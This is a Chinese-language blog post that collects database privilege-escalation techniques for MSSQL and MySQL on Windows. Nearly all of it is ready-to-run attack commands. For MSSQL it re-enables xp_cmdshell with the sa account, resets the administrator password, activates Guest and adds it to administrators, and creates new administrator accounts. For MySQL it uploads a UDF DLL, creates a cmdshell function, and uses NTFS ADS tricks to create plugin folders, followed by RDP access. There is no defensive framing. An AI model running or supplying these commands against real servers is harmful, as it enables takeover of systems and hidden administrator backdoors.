【汇总】数据库提权(mysql、mssql)


日期:2018-04-03 11:46:45
作者:Bay0net
介绍:利用 mssql 的 sa 账号提权、利用 MySQL 的 UDF 提权


0x01、mssql 提权

恢复 xp_cmdshell

几个命令

# 查看是否存在 xp_cmdshell(返回非 0 即存在)
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

# 不存在的话可以添加
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

# 查看是否开启了 xp_cmdshell(试试命令是否能成功)
Exec master..xp_cmdshell 'whoami';

命令执行

利用 sa 连接到服务器,然后执行命令

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

提示成功

然后利用 sqltools 直接执行命令。

也可以用 SQL 语句来执行命令,三种方式,一般都喜欢用第二种。

exec xp_cmdshell 'command';
exec master..xp_cmdshell 'command';
exec master.dbo.xp_cmdshell 'command';

修改 administrators 的密码,比较方便

exec xp_cmdshell 'net user administrator test123...';

修改 Guest 的权限

exec xp_cmdshell 'net user Guest test123...';
exec xp_cmdshell 'net user Guest /active:yes';
exec xp_cmdshell 'net localgroup administrators Guest /add';

新建用户

exec master..xp_cmdshell 'net user test test123... /add';
exec master..xp_cmdshell 'net localgroup administrators test /add';

0x02、MySQL 提权

上传 UDF

这一步和 MySQL 的版本有关系,不同版本上传的路径不一样,没有 lib 文件的话需要新建。

# 版本小于 5.1,上传到系统目录下
C:\\WINDOWS\\udf.dll
C:\\WINDOWS\\system32\\udf.dll

# 版本大于 5.1,上传到安装目录下
%mysql%\\plugin\\udf.dll 

# 查询路径,后面加 udf.dll 即可
select @@plugin_dir

# 常用
# 查询用户
select user() 

# 查询数据库版本
select version()

# 查询当前操作系统
select @@version_compile_os

# 查询读取数据库路径
select @@datadir

# 查询MYSQL安装路径
select @@basedir

# 查询 plugin 的路径
select @@plugin_dir 

命令执行

Create Function cmdshell returns string soname 'udf.dll';
select cmdshell('ipconfig');
drop function cmdshell;
delete from mysql.func where name='cmdshell'

可以直接 UDF 提权工具搞,新建用户然后直接 3389 即可。

利用 NTFS ADS 写文件

使用 NTFS ADS 流创建 lib、plugin 文件夹:

如果遇到 Can't open shared library 的情况,

就需要把 udf.dll 导出到 lib\plugin 目录下才可以,但是默认情况下 plugin 不存在,就利用 NTFS ADS 流来创建文件夹。

select @@basedir;   //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。
posted @ 2019-08-19 22:40  Bay0net  阅读(1005)  评论(1编辑  收藏  举报